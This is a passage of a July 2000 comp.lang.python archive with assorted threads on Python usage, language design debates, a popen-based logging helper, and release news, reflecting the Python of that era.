> On Thu, 27 Jul 2000 15:29:15 GMT, Guido van Rossum <guido at python.org> wrote:
> >If anything, "Be" made a rather confusing choice of name.
> 
>     Well, I think it fits if what I hear about what it stands for is true.
> BeOS - Bleeding edge Operating System.  Considering they designed it from the
> ground up for the latest hardware at the time it fits.  Otherwise, yeah.

The legend is that, before they had a name, someone took a dictionary home
and got too bored after looking through... they ended at the end of A;
someone asked how far they got, "B" was the reply, someone thought that was
a good name, the rest is history...

-- 
----------========================================================----------
Chris Herborth, DNRC Holder of Past Knowledge     Arcane Dragon -==(UDIC)==-
BeOS hacker, Catharon Productions, Inc.             http://www.catharon.com/
CTO, Next Generation Entertainment                     http://www.ngent.com/


From jvickroy at sec.noaa.gov  Mon Jul  3 15:00:59 2000
From: jvickroy at sec.noaa.gov (j vickroy)
Date: Mon, 03 Jul 2000 13:00:59 -0600
Subject: WinNT User Name
References: <Ae485.94210$5k2.194235@dfw-read.news.verio.net>
Message-ID: <3960E2EB.A5B1B256@sec.noaa.gov>

On Windows NT:

import os
os.environ['USERNAME']

... provides the information.

I do not believe that either Win 95 or 98 has the 'USERNAME' attribute set.

michael montagne wrote:

> First off, I'm a newbie at Python.
> I'm trying to return the user who is logged on at a PC.  What I really need
> is the login name.  How do I do that?  Seems like it otta be quite simple
> but I'm having trouble.
>
> -mjm



From jepler.lnk at lnk.ispi.net  Sat Jul 15 09:03:17 2000
From: jepler.lnk at lnk.ispi.net (jepler epler)
Date: Sat, 15 Jul 2000 13:03:17 GMT
Subject: atof problem.
References: <yUqb5.977$tI4.52638@bgtnsc05-news.ops.worldnet.att.net> <slrn8msrkq.7cg.jblaine@kickflop.ne.mediaone.net> <zIvb5.2585$tI4.159707@bgtnsc05-news.ops.worldnet.att.net>
Message-ID: <slrn8mu1s3.3eh.jepler.lnk@potty.housenet>

On Fri, 14 Jul 2000 03:23:11 GMT, William Dandreta
 <wjdandreta at worldnet.att.net> wrote:
>Hi Jeff,
>
>I guess my question was poorly worded. I was looking for the way to set the
>internal thousands separator to a comma so atof('1,142.00') results in
>1142.00. It's clear from the doc's that it is posssible to do but it doesn't
>give enough info for me to figure out how.

Look at locale.atof() instead of string.atof or the builtin float().

You may need to recompile your python so that the _locale module is
included, however.

Jeff


From ahopkins at ahopkins.dynacare.com  Mon Jul 31 09:52:21 2000
From: ahopkins at ahopkins.dynacare.com (Albert Hopkins)
Date: Mon, 31 Jul 2000 13:52:21 GMT
Subject: random.shuffle?
Message-ID: <slrn8ob14m.bh4.ahopkins@ahopkins.dynacare.com>

I wrote a script on my RedHat Linux 6.2 box at home and was pleasantly
surprised to see that there was a random.shuffle function.  However,
when I later ran the script on my RedHat 6.2 box at work, there was
no such function.  Anyone have any idea where it came from?


-- 
                                                     Albert Hopkins
                                             Sr. Systems Specialist
                                              Dynacare Laboratories 
                                              ahopkins at dynacare.com

I've found that things like "If you change even one configuration setting and 
your system ceases to function, or functions in a manner other than expected, 
our support staff will laugh at you in the sinister manner of Joseph Stalin 
just before he enslaved eastern Europe" helps to draw peoples attention to 
essential details like this. 
-Edward Grimm 


From mjhand at concentric.net.bbs  Mon Jul 17 23:30:05 2000
From: mjhand at concentric.net.bbs (mjhand at concentric.net.bbs)
Date: 18 Jul 2000 03:30:05 GMT
Subject: Wherefore art thou, 1.6?
Message-ID: <3bRZMT$mXq@openbazaar.net>

As I assume we all know, there is nothing but an unlinked "Python 1.6"
at python.org.  I was curious about this, but thought it a temporary
condition.  That was a while ago, though....

So I did a quick deja.com search through c.l.p to see if I could get
an explanation.  All I found was someone asking three weeks ago and
getting, well, no answer.

Can someone please post a status on 1.6?

Thanks,
Manus (who is using [and loves] 1.6a2 and lives in fear that the 1.6
release was for some reason decided against in the alpha stage)


From moshez at math.huji.ac.il  Fri Jul 28 09:21:08 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Fri, 28 Jul 2000 16:21:08 +0300 (IDT)
Subject: Perl is worse!
In-Reply-To: <398178EA.7576E13A@hursley.ibm.com>
Message-ID: <Pine.GSO.4.10.10007281620070.10036-100000@sundial>

On Fri, 28 Jul 2000, Paul Duffin wrote:

> Moshe Zadka wrote:
> >
> > Because numbers are numbers and strings are not. Given, Python's numeric
> > model is not very good.
> > 
> 
> What is wrong with Python's numeric model ?

Two examples:

1/2 --> 0
2**100 --> Overflow error, while 2L**100 --> the right answe

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no IGLU cabal.
http://advogato.org/person/moshez




From paulb at infercor.no  Fri Jul 28 12:46:44 2000
From: paulb at infercor.no (Paul Boddie)
Date: Fri, 28 Jul 2000 18:46:44 +0200
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <39814767.FFEFE5D0@infercor.no> <slrn8o37v3.3ok.grey@teleute.rpglink.com>
Message-ID: <3981B8F4.FCFC74B@infercor.no>

Steve Lamb wrote:
> 
> On Fri, 28 Jul 2000 10:42:15 +0200, Paul Boddie <paulb at infercor.no> wrote:
> >Having seen Perl's behaviour in cases like the one Tim quoted, albeit in the
> >following form...
> 
> >  1 + $variable
> 
> >(trying to remember Perl syntax) where $variable is some text which should
> >have been a number but for various reasons happened to be something like
> >"foo", I would rather my chosen implementation language did raise an
> >exception than pretend nothing was wrong.
> 
>     This is a matter of opinion.  I have to ask, where were your data checks
> in the first place?

Well it would be good to check the data first, but then if you're a Perl coder
who's confident enough to let the interpreter work out "the right thing" and not
warn you about what ancient BASIC interpreters would call a "type mismatch",
you're probably going to be fairly easy going about where your data came from.
If you are, on the other hand, careful about the value of $variable, I can't see
why you wouldn't welcome a bit of type checking.

> >What about 1 + "23"? Is "23" a decimal number or a hexadecimal number or
> >what?
> 
>     Decimal.  Is that not decimal form?

It could be octal, for example, or any number of other bases. Wherever the data
came from might assume the base of the number and not mention it explicitly. I
suppose you want to decide the base with prefixes, as in 1 + "023". At that
stage, you might as well be writing 1 + string.atoi("23", 8).

>     Nope.  1 + "foo" = 1.  Perl uses the a different syntax to put strings
> together.  + is only a mathematical operator, not a math and string operator.

Yes, I remember this now. And the comparison operators are different for strings
and numbers, aren't they? That leads to some interesting results too.

> >whereas 1 + "foo" is meaningless to almost everyone except Perl coders.
> 
>     But 1 + "1" is not.

Well, I could certainly guess what you mean, but there are a number of reasons
why we tend not to leave the interpretation of program code to the imagination
of the reader. After all, program code is a form of message, communicated to
both machine and to other humans. Larry Wall may want to encourage poetically
expressive code, but I would rather see unambiguous code which works as the
writer intended and as the entire audience expects. (That's the audience who
have read the rule book, of course.)

Regards,

Paul


From srs25 at cornell.edu  Tue Jul 25 11:50:37 2000
From: srs25 at cornell.edu (Samuel Scarano)
Date: Tue, 25 Jul 2000 11:50:37 -0400
Subject: Searching a binary file -- More concrete instance of generalized 
 searching problem
References: <yfmu2dfv5xv.fsf@erato.i-did-not-set--mail-host-address--so-shoot-me> <397DACE3.515F71A9@cornell.edu>
Message-ID: <397DB74D.6A6E5DA4@cornell.edu>

Me again. I just thought of a good example that illustrates what I'm
thinking of.

Suppose the string you're matching against comes in incrementally -- as
lines of text to stdin, or perhaps a TCP stream. The total length can be 
arbitrarily large, so you don't want to just concatenate incoming data to a
perpetually growing string. And the match may contain the first character,
so you can't just discard old data (e.g., matching 'a.*b' against a string
that starts with 'a' and whose first 'b' is at the billionth position).

I know its *possible* -- at least with "pure" regular expressions -- because
they define regular languages, and membership in a regular language can be
determined by scanning a string from left to right without storing a single
character -- all that must be stored is the state of the DFA corresponding
to the regex.

Mmmm... perhaps I should forget all this just impose a bound on the match
length. But even then, every time you get a new piece of the string in, you
have to re-search that overlap -- that's a *lot* of redundant searching. Too
ugly. A regex engine that saves its state would be very useful I think....

Samuel Scarano wrote:
> 
> Interesting problem. I'd like to propose a generalized one which I may be
> facing soon:
> 
> Suppose you want to search with an *arbitrary* regular expression. In this
> case, you don't know how long the matching string may be, so you don't know
> how much overlap you need between buffers.
> 
> Is it necessary, perhaps, to use a constant buffer-overlap size, thus
> placing a bound on the length of a matched string?
> 
> Just to make it harder, suppose the buffers are numerous and arbitrarily
> small -- sometimes smaller than the matched-string length bound.
> 
> Is there a way to get the regular expression engine to save its state at the
> end of one buffer and pick up where it left off on the next? I'm almost
> certain that this is possible (at least with the sort of naive DFA-based
> regex implementation that I have in mind), but has such functionality been
> made available in python?
> 
> luthi at vaw.baug.ethz.NOSPAM.ch wrote:
> >
> > What is the fastest way to search a binary file for a certain byte pattern
> > (**** in my case)?
> >
> > I came up with this solution, but I guess there is a better way to do
> > it. Thanks for all suggestions.
> >
> > Martin Luethi
> >
> > =====
> >
> > # constants
> > MaxFileSizeInMemory = 10*1000*1000
> >
> > file = open('my_binary_file', 'b')
> >
> > file.seek(0,2)                   # set the pointer to the end of the file
> > filesize = file.tell()           # get the size of the file
> > file.seek(0)                     # reset the file pointer
> > rex = re.compile(r'[\*]{4}')     # the bytes to search for
> > starpointer = []                 # position of the '****' in the file
> > oldpos = 0
> > for i in range(filesize/MaxFileSizeInMemory + 1):
> >     data = self.file.read(MaxFileSizeInMemory) # read a chunk of bytes
> >     m = rex.search(data)
> >     while m:                     # find all '****' in this chunk
> >         pos = m.start() - 4      # corrected for the length of '****'
> >         incpointer.append(pos + i*MaxFileSizeInMemory)
> >         m = rex.search(data, pos + 10)
> >         oldpos = pos
> > file.close()                     # close the file
> >
> > --
> > ============================================================
> > Martin Luethi                   Tel. +41 1 632 40 92
> > VAW ETH Zuerich
> > CH-8092 Zuerich                 mail luthi at vaw.baum.ethz.ch
> > Switzerland
> > ============================================================
> 
> --
> Samuel R. Scarano                        "Due to circumstances beyond my
> undergraduate, Cornell University        control, I am master of my fate
> <srs25 at cornell.edu>                      and captain of my soul."
> http://people.cornell.edu/pages/srs25/             -- Ashleigh Brilliant

-- 
Samuel R. Scarano                        "Due to circumstances beyond my
undergraduate, Cornell University        control, I am master of my fate
<srs25 at cornell.edu>                      and captain of my soul."
http://people.cornell.edu/pages/srs25/             -- Ashleigh Brilliant


From aahz at netcom.com  Tue Jul 25 09:41:29 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 25 Jul 2000 13:41:29 GMT
Subject: Python 3000
References: <Pine.GSO.4.10.10007251601090.17370-100000@sundial>
Message-ID: <8lk5e9$osk$1@slb7.atl.mindspring.net>

In article <Pine.GSO.4.10.10007251601090.17370-100000 at sundial>,
Moshe Zadka  <moshez at math.huji.ac.il> wrote:
>On 25 Jul 2000, Aahz Maruch wrote:
>>
>> Yes, I know about the soap opera.  The fact remains that 1.6 will almost
>> certainly never be a released chunk of code -- it never had a beta!
>
>However, it will be released, from CNRI with BeOpen's help. I wouldn't
>use it, though: just wait one more month for 2.0, which has lots of
>improvements.

Huh.  That's bizarre.  Well, if that's what it takes to get the soap
opera resolved, I'm certainly not going to complain.
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Zie is so far from a clue that it would take a sub-light vessel several
years to reach one.  --Aahz


From ge at nowhere.none  Wed Jul 12 16:33:34 2000
From: ge at nowhere.none (Grant Edwards)
Date: Wed, 12 Jul 2000 20:33:34 GMT
Subject: Switching to Linux...... converting files and databases....
References: <20000712201149.7701.qmail@web5302.mail.yahoo.com>
Message-ID: <yC4b5.372$6E.78242@ptah.visi.com>

In article <20000712201149.7701.qmail at web5302.mail.yahoo.com>, Dave Williams wrote:

>Proposed project: The Windows to Linux Survival Kit
>Subject: Software that can open and read Microsoft's proprietary
>(wrong word?) files and convert them to databases and files usable by
>Linux's opensource software..

FYI, there are alread some projects like that: catdoc,
mswordview, (other things for excel and ppt files).  One of the
projects (can't remember the name) is a library of routines to
read/parse MS Office output.

Not that a Python library to do that wouldn't be a good thing...

-- 
Grant Edwards                   grante             Yow!  ... Just enough
                                  at               time to do my LIBERACE
                               visi.com            impression...


From OneDay at ATime.net  Sat Jul 22 11:28:25 2000
From: OneDay at ATime.net (OneDay at ATime.net)
Date: Sat, 22 Jul 2000 11:28:25 EDT
Subject: Newbie question, Getting Started?
References: <8lbtqg$2drj$1@earth.superlink.net> <ADfe5.2877$k54.55303@news6-win.server.ntlworld.com>
Message-ID: <8lceip$5hb$1@earth.superlink.net>

Thanks for your reponse and your patience, AL


In article <ADfe5.2877$k54.55303 at news6-win.server.ntlworld.com>, 
"richard_chamberlain" <richard_chamberlain at ntlworld.com> wrote:
>Hi Al,
>
>>> For example, where do I write a simple MessageBox program
>
>This may not be as simple as you'd expect Python has a number of extensions
>which enable it to have a graphical user interface, one of these Tkinter
>you'll have installed already.
>
>Tkinter is a complicated subject so you'll need a book. But to satisfy your
>desire for a message box:
>
>from tkMessageBox import showinfo
>showinfo("Howdy!", "Welcome to Python")
>
>Don't run this through PythonWin or Idle, run it through windows explorer.
>
>>>Can I write Python 1.5.2 or Tcl executable programs that can be run on
>>> a PC that does not have python installed?
>
>Kind of. There is a thing called freeze.py which turns your python code into
>c code which you can compile if you have a c compiler. That probably doesn't
>fit your bill, so there is python module called installer which will convert
>it into a standalone file plus some extensions. Also ActiveState recently
>announced something that will do it as well.
>
>I don't think it's something you should worry about at the moment though.
>
>Good Luck
>
>Richard
>
>
>
><OneDay at ATime.net> wrote in message
>news:8lbtqg$2drj$1 at earth.superlink.net...
>> Hello all,
>>
>>         I've done some programming with MS Access and Excell Visual Basic,
>but
>> am new to Python. I've been reading the tutorial for several days now and
>am
>> having difficulty figuring out where to start. For example, where do I
>write a
>> simple MessageBox program?
>>
>>         Can I write Python 1.5.2 or Tcl executable programs that can be
>run on
>> a PC that does not have python installed?
>>
>>         Thanks for your time, Al
>>
>> (The only stupid question is the one not asked.)
>
>


From michael at stroeder.com  Thu Jul  6 19:02:26 2000
From: michael at stroeder.com (Michael =?iso-8859-1?Q?Str=F6der?=)
Date: Fri, 07 Jul 2000 01:02:26 +0200
Subject: Public Key Encryption?
References: <y3895.115843$WS3.1010710@typhoon.we.rr.com>
Message-ID: <39651002.B94FDA17@stroeder.com>

Stephen Hansen wrote:
> 
>     Is there any wrappers/implementations of a Public Key system in python?
> I was idly thinking about either wrapping the PGP dll's that Network
> Associates puts out, or just the portions of the
> (on-the-web-appearing-less-nicely-documented) OpenSSL package that I need.

M2Crypto found on http://www.post1.com/home/ngps/m2/

Ciao, Michael.


From db3l at fitlinxx.com  Fri Jul 28 15:37:05 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 28 Jul 2000 15:37:05 -0400
Subject: Perl is worse!
References: <slrn8o25nr.e7.grey@teleute.rpglink.com> <8lsdir$aja$1@plutonium.compulink.co.uk> <slrn8o3fei.49c.grey@teleute.rpglink.com>
Message-ID: <u3dku59ni.fsf@ctwd0143.fitlinxx.com>

grey at despair.rpglink.com (Steve Lamb) writes:

> On 28 Jul 2000 16:49:31 GMT, gbreed at cix.compulink.co.uk
> <gbreed at cix.compulink.co.uk> wrote:
> >?  You said it was only declared to "get the name space in there".
> 
>     Yup.  "I'm going to use a, for what I know not.  Could be string, could be
> integer, could be whatever I want."  The point was defining the name and
> assiciate it with nothing.  But since the type is inferred on first use might
> as well have the C declarations.

I don't think I agree with "the type is inferred on first use" as far
as Python's behavior.  Nothing is really inferred - the type of an
object is always explicit in the object itself.

This is, however, quite different from the name used to reference the
object, which has no type in and of itself.  So something like "a =
None" places a reference in the namespace (a) for the object "None".
The object None is an explicit object with an explicit type (just as
any object would be).

If you don't know what objects you might want to refer to eventually
with "a", that's fine - just don't bother defining a until you know,
and at the point at which you associate a with an object, then that
object will have an explicit type.  But that still won't affect a, as
far as a will still not have any type relationship.

In the case here it seems as if you don't really want to define the
name and associate it with nothing, you want to define the name and
associate it with an object that will support being appended to.  In
such a case, the notation "a = []" as suggested in other responses is
proper.  That associates a with a new sequence object (which you start
as empty) which supports the operations you are going to wish to
perform.

Or conversely, you could be asking to really have no definition for a,
but have the language implicitly create a new object upon your first
attempt to use an ".append" method - something which I don't think is
really either intuitive or something that works in the general case
for an object oriented model.

(Oh, and as an aside - this is an impressive thread - even with the
few warts, I think there's useful information going on)

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From db3l at fitlinxx.com  Mon Jul 17 22:06:47 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 17 Jul 2000 22:06:47 -0400
Subject: Sending output to stdout and also to a file
References: <396d44ed$0$11368@wodc7nh0.news.uu.net>
Message-ID: <ud7kc5gzs.fsf@ctwd0143.fitlinxx.com>

"donotspam-jen at personic.com" <dnotspam-jen at personic.com> writes:

> Is there a way to have output from system commands go to stdout and also to
> a file?  For example, is there a way to get the results of the MS DOS "DIR"
> command and have it appear both in a file and also on the screen?
> 
> The particular issue I'm trying to solve is that I have a script that calls
> PVCS commands.  PVCS sends things to both stderr and stdout, which by
> default go to the screen.  I'd like to capture this output and put it both
> on the screen and also in a log file that can be reviewed later.

To trap output of a system command you want to use popen() to run the
command giving you the output via a File object.  (For
Win95/98/NT-without-console, you should use win32pipe.popen() from the
Win32 extensions for reliable pipes to child processes, but there's a
side effect in that you won't get the result code of the process on
the close()).

If you just want to capture all output of your command (stdout and
stderr), you can add a "2>&1" to the end of the command to reroute
stderr to the same place stdout is going - which is your process).

Once you have the output, you can do anything you want with it.

For example, here's a small function that I use to execute commands
and dump their output prefaced with a few spaces (to indent it with
respects to the other output that my script is creating).  I also
include a dump of the command and some execution time information
since this normally gets used with background scripts that run lots of
commands across a bunch of sites.

	  - - - - - - - - - - - - - - - - - - - - - - - - -
import os
import time

def Execute (Command):
    """
    Executes a command string, accepting all output and logging it.
    The function automatically appends a stderr redirect to include
    stderr in the output.
    """
    print "Executing", Command
    start_time = time.time()
    pipe = os.popen(Command + " 2>&1")
    while 1:
        line = pipe.readline()
        if not line:
            break
        print "  ", line,
    rc = pipe.close()
    stop_time = time.time()
    if rc:
        print "Command completed with exit code", rc,
    else:
        print "Command completed successfully",
    print "(elapsed time = %d s)" % (stop_time - start_time)

    return rc
	  - - - - - - - - - - - - - - - - - - - - - - - - -

Now the above function just prints the command output with the
indentation, but what I normally do is redirect sys.stdout to a log
class that I have which logs to a log file with an optional copy to
stdout.  The log class also prepends a timestamp (and a "site" id
which is just a string used when I walk a bunch of sites for
operations).  This ensures I get a log of everything that is happening
in my script, including all child processes.

	  - - - - - - - - - - - - - - - - - - - - - - - - -
import sys
import time
import os

class LogClass:
    "Class for generating log messages to the log file and optionally stdout"
    def __init__ (self, Filename=None, DupStdout=0):
        if (Filename != None):
            self._file = open(Filename,"a")
        else:
            self._file = sys.stdout
        self._needprefix = 1
        self._sitename   = None
        if DupStdout:
            self._dupstdout = sys.stdout
        else:
            self._dupstdout = None

    def write(self, Message):
        message = ""
        if (self._needprefix):
            message = message + "[%s-%d" % \
                      (time.strftime("%H:%M:%S",
                                     time.localtime(time.time())),
                       os.getpid())
            if (self._sitename):
                message = message + "-" + self._sitename
            message = message + "] "
            self._needprefix = 0

        message = message + Message
        self._file.write(message)
        self._file.flush()
        if self._dupstdout:
            self._dupstdout.write(message)
            self._dupstdout.flush()
        if (Message[-1] == "\n"):
            self._needprefix = 1

    def log(self, Message):
        self.write(Message)
        self.write("\n")
        if self._dupstdout:
            self._dupstdout.write(Message)
            self._dupstdout.write("\n")

    def setsite(self, SiteName):
        self._sitename = SiteName
	  - - - - - - - - - - - - - - - - - - - - - - - - -


So from a script you would do something like:

    # Create log class to log file
    log = LogClass('filename')

or

    # Create log class to log file and include duplicate to stdout
    log = LogClass('filename',DupStdout=1)

and then reassign sys.stdout (and sys.stderr if you want) to the log:

    sys.stdout = log

and then whenever you want to execute a command, just use:

    Execute('command string')

It's normally nice to save the old sys.stdout/stderr and then restore
them at the end of your script (say perhaps in a top level try/finally
clause) in case your script is included as a module from some other
script.

Hope this gives you some ideas.

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From m.faassen at vet.uu.nl  Sat Jul 29 11:42:14 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 29 Jul 2000 15:42:14 GMT
Subject: "always passes by reference"
References: <8llct3$n34$1@news.dtc.hp.com> <397FCE9C.F22BB6B4@see.my.signature> <B5A66D15.6B2D%dgoodger@bigfoot.com> <slrn8o3m9q.1cq.hzhu@rocket.knowledgetrack.com> <slrn8o4fdm.abr.nobody@isis.visi.com>
Message-ID: <8luu0m$ags$2@newshost.accu.uu.nl>

Grant Edwards <nobody at nowhere.nohow> wrote:
> In article <slrn8o3m9q.1cq.hzhu at rocket.knowledgetrack.com>, Huaiyu Zhu wrote:

>>In python there are objects and there are names.  There are operations that
>>act on existing objects and those that create new objects.  These have
>>nothing to do with mutability, except that for immutable objects, there are
>>no operations acting on existing objects.

> Looks like a good description to me.

> If you're used to thinking in C, I would describe it as

>  1) All variables are pointers.
>  
>  2) De-referencing is done automatically when you use a variable in any
>     context other than as an lvalue.
>     
>  3) All parameters are passed by value.

I think that in the context of C this is a bit confusing. If you're
passing around pointers in C, you're passing around *references*, not
values. Even though the references are obviously passed by value of the
reference. I mean, in the end the computer does need to pass around *some*
values, otherwise nothing will happen whatsoever.

This seems to be where the confusion comes in. When people claim Python
passes by value, because the *references* are being passed by value, 
that seems to be just stating that the only thing the computer can pass
in the end is numbers. If you say that, everything is by value and references
are impossible, which seems to be a useless set of semantics.

>  4) Many/most operations create a new object and return a pointer to it.

Method calls often change existing objects, so if you think of these
as operations this isn't entirely true.

>  5) Some objects can't be changed after they're created, but some objects
>     provide methods you can use to change them.

(though not all methods change objects)

> Does that make sense?    

Sure, with these caveats it makes sense.

Regards,

Martijn
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From olczyk at interaccess.com  Sun Jul  9 23:28:38 2000
From: olczyk at interaccess.com (Thaddeus L. Olczyk)
Date: Mon, 10 Jul 2000 03:28:38 GMT
Subject: Microsoft's  C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com> <395E05CD.E38F642C@webamused.com>
Message-ID: <396b3f42.316716812@nntp.interaccess.com>

On Sat, 01 Jul 2000 15:51:48 GMT, Joshua Macy <amused at webamused.com>
wrote:

>"Thaddeus L. Olczyk" wrote:
>> 
>> On 28 Jun 2000 06:02:09 GMT, thomas at xs4all.nl (Thomas Wouters) wrote:
>> 
>> >On Wed, 28 Jun 2000 04:05:21 GMT, Courageous <jkraska1 at san.rr.com> wrote:
>> >
>> >>> On top of that, very likely that if SUN sues they win.
>> >
>> >>Ridiculous.
>> >
>> >Very much so. But it wouldn't be suprising just the same, given the American
>> >patenting/registration practices and the average american courthouse ;-)
>> >
>> >Overseas-ly y'rs,
>> >       Thomas
>> Virtually all SUN has to do is pull some of the demo programs out of
>> Microsofts manual. Write the equivalent code in python, perl, C++,
>> pascal, and a few other languages. Compare them side by side. A fairly
>> sophisticated person can see that it's resemblance to Java. Look at
>> the law judges are sophisticated enough. Given that Microshit is being
>> sued by SUN for their abuse of Java, I don't think it will be hard at
>> all for  SUN to convince a judge that all C# is, is a variant of Java
>> with tons of proprietary crap glued on and the label changed.
>
>
>  You seem to be under the misapprehension that under American law, Sun
>owns the very concept of the Java language--that's just not true.
>Microsoft could make their own version of Java if they wanted...that's
>perfectly legal; IBM is contemplating doing just that. What Microsoft
>did wrong was they used Sun's own code, which came with a license that
>forbade making incompatible extensions, to make an implementation with
>incompatible extensions.  If they had gone to the effort of making a
>clean version of the code, they would have been in the clear.  The only
>problem they would have faced is that they might not have been able to
>use the Java trademark, which--guess what--C# doesn't do.
>
>
>  Joshua
I doubt very much that you saw any of Suns code in J++. However to get
at certain documentation such as how the JVM worked ( meaning what
essentially the bytecode has to look like ).  I believe that the
license required you to agree to certain things like Sun was the only
one which had rights to Java. I would have to see Microshits license
to know for sure.

As for the law. Perhaps you should aquaint yourself with case law.
Such as Ben Bova and Harlan Ellison vs I think it was Universal
Studios, 197?. Bova and Ellison wrote a novellette which Universal
wanted to make a TV series out of. But the authors didn't like the
changes that Universal wanted to make in the book, so they backed out.
Universal changed the name and a few of the peripheral elements,
incorparated their changes and went ahead anyway. Bova and Ellison
won. Sound familiar?


From hzhu at localhost.localdomain.bbs  Mon Jul 17 16:30:12 2000
From: hzhu at localhost.localdomain.bbs (hzhu at localhost.localdomain.bbs)
Date: 17 Jul 2000 20:30:12 GMT
Subject: Parser project
Message-ID: <3bROPb$kqJ@openbazaar.net>

On Mon, 17 Jul 2000 14:43:01 -0500, Paul Prescod <paul at prescod.net> wrote:
>Here is a project for a parser hacker:

This is a good idea, although MatPy could not wait for it to happen, and I
do not foresee much additional syntax being requested. For the current
matrix issue, a limited parser might be easier and more useful.

The only bottleneck here is that the supply of binary infix operators is
very limited, unlike function or method names.  This forces people to write
latter when the former is much cleaner.  Why not write a parser that changes
nothing else but allows additional binary operators?  By definition, it
would put all the special symbols stuck together as operators, like +=, -=,
:=, @+, .*, @*=, etc.

Someone had proposed allowing general forms

a op b

but I would think limiting op to consisting only the symbols that are not in
other syntax constructs (like parenthesis, numbers, names, etc) is
warranted.  This would still give quite a few dozen operators, far more than
needed, imo.

I'm not sure if it can be made as easy as

import NewOperator
NewOperator.define(".+", "__dotadd__")
class A: def __dotadd__(self, other) ...
a=A(); b=A()
a.+b
NewOperator.define("compares", "__cmp__")
 ------> Exception: "compares" contains characters not allowed in operator.

That would be useful in many domains.


Huaiyu


From paul at prescod.net  Fri Jul  7 00:57:41 2000
From: paul at prescod.net (Paul Prescod)
Date: Thu, 06 Jul 2000 23:57:41 -0500
Subject: Namespace Mystery (HELP!)
References: <39655351.9EE499F2@sunesis-pharma.com>
Message-ID: <39656345.86AADA8A@prescod.net>

> Why is the output "2 1" and not "2 2"?
> What is it about the locals() function that makes it behave
> unexpectedly?

locals () 
Return a dictionary representing the current local symbol table.
Warning: the contents of this dictionary should not be modified; changes
may not affect the values of local variables used by the interpreter. 

http://www.python.org/doc/lib/built-in-funcs.html

Python doesn't typically look up local variables based on a string name
at runtime. That would be too inefficient. Rather it looks them up
positionally.

-- 
 Paul Prescod - Not encumbered by corporate consensus
Pop stars come and pop stars go, but amid all this change there is one
eternal truth: Whenever Bob Dylan writes a song about a guy, the guy is
guilty as sin.
	- http://www.nj.com/page1/ledger/e2efc7.html



From akuchlin at mems-exchange.org  Fri Jul 14 13:07:57 2000
From: akuchlin at mems-exchange.org (Andrew Kuchling)
Date: 14 Jul 2000 13:07:57 -0400
Subject: Neil Schemenauer's GC patch in python1.6?
References: <396F28A1.A181BF39@email.sps.mot.com>
Message-ID: <3dn1jkljwy.fsf@kronos.cnri.reston.va.us>

Norman Shelley <Norman_Shelley-RRDN60 at email.sps.mot.com> writes:
> Is Neil Schemenauer's GC patch scheduled to be in python1.6?

Yes, though whoever compiles Python will have the option to include it
or not, through an argument to the configure script.  Currently in the
CVS tree, GC is turned on by default, and you can turn it off by
specifying --without-cycle-gc.  No one knows if it'll default to on or
off in the final 2.0 release; that depends on how much a performance
cost is incurred, and how stable the code proves to be.

>Having to design programs and
> algorithms with reference counting in mind is just as bad as having to
> remember to remember to use free() when in C or C++.

No it's not; you don't have to worry about things that can't
participate in cycles, such as strings for example, but in C you'd
have to carefully handle allocation for them, too.  

--amk


From smigowsky at dspace.de  Mon Jul 31 11:51:21 2000
From: smigowsky at dspace.de (Stefan Migowsky)
Date: Mon, 31 Jul 2000 16:51:21 +0100
Subject: 64k Instruction Limit ??
Message-ID: <326536345498D311B3BC00105A39802A0747D3@newsintern.dspace.de>

Hi,

if got a script which defines a big tuple > 64k entries. 
After the tuple I define a for loop. 

The compile of this script causes a SystemError : com_addbyte out of range.

The reason for that is that the return instruction for the 
for loop is greater than 64k, which means that the inside
the com_addint function the hiword is greater than 255. 

Is there any way around this now or in future versions, other than 
to try to change the script layout until it compiles ?


   Stefan



From cut_me_out at hotmail.com  Mon Jul 17 09:25:54 2000
From: cut_me_out at hotmail.com (Alex)
Date: 17 Jul 2000 09:25:54 -0400
Subject: built in sources
References: <8kv0rr$lm2$1@nnrp1.deja.com>
Message-ID: <etd66q4vqfx.fsf@w20-575-116.mit.edu>

http://www.python.org/download/download_source.html

> where can I get the source for all of the built-in methods, types,
> etc...
> 
> Thanks


From donn at u.washington.edu  Wed Jul 26 15:35:36 2000
From: donn at u.washington.edu (Donn Cave)
Date: 26 Jul 2000 19:35:36 GMT
Subject: polymorphism  (was  Re: Type checking in python?)
References: <20000726112848.A1101@freei.com> <8lmo4i$s28$1@news.kth.se>
Message-ID: <8lnei8$7rm6$1@nntp6.u.washington.edu>

Quoth Sean Blakey <sblakey at freei.com>:
...
| The critical point is that in Python, polymorphism depends solely on the
| interface provided, not on any "is-a" relationships.  Instead of
| insisting that your argument must be a string (for example), your code
| should work with any object that exposes the interfaces you need
| (strings, unicode strings, perhaps even a custom class created by
| somebody to emulate Java's StringBuffer, etc.).  Similarly, you don't
| need to verify that your argument is a file, only that it has a read()
| method (or whatever method you use).

Or you can simply expect a read() method.  Don't verify it, don't
support anything else.  The polymorphism is up to the caller.  Examples
of this with the file interface can be found in the library, rfc822 comes
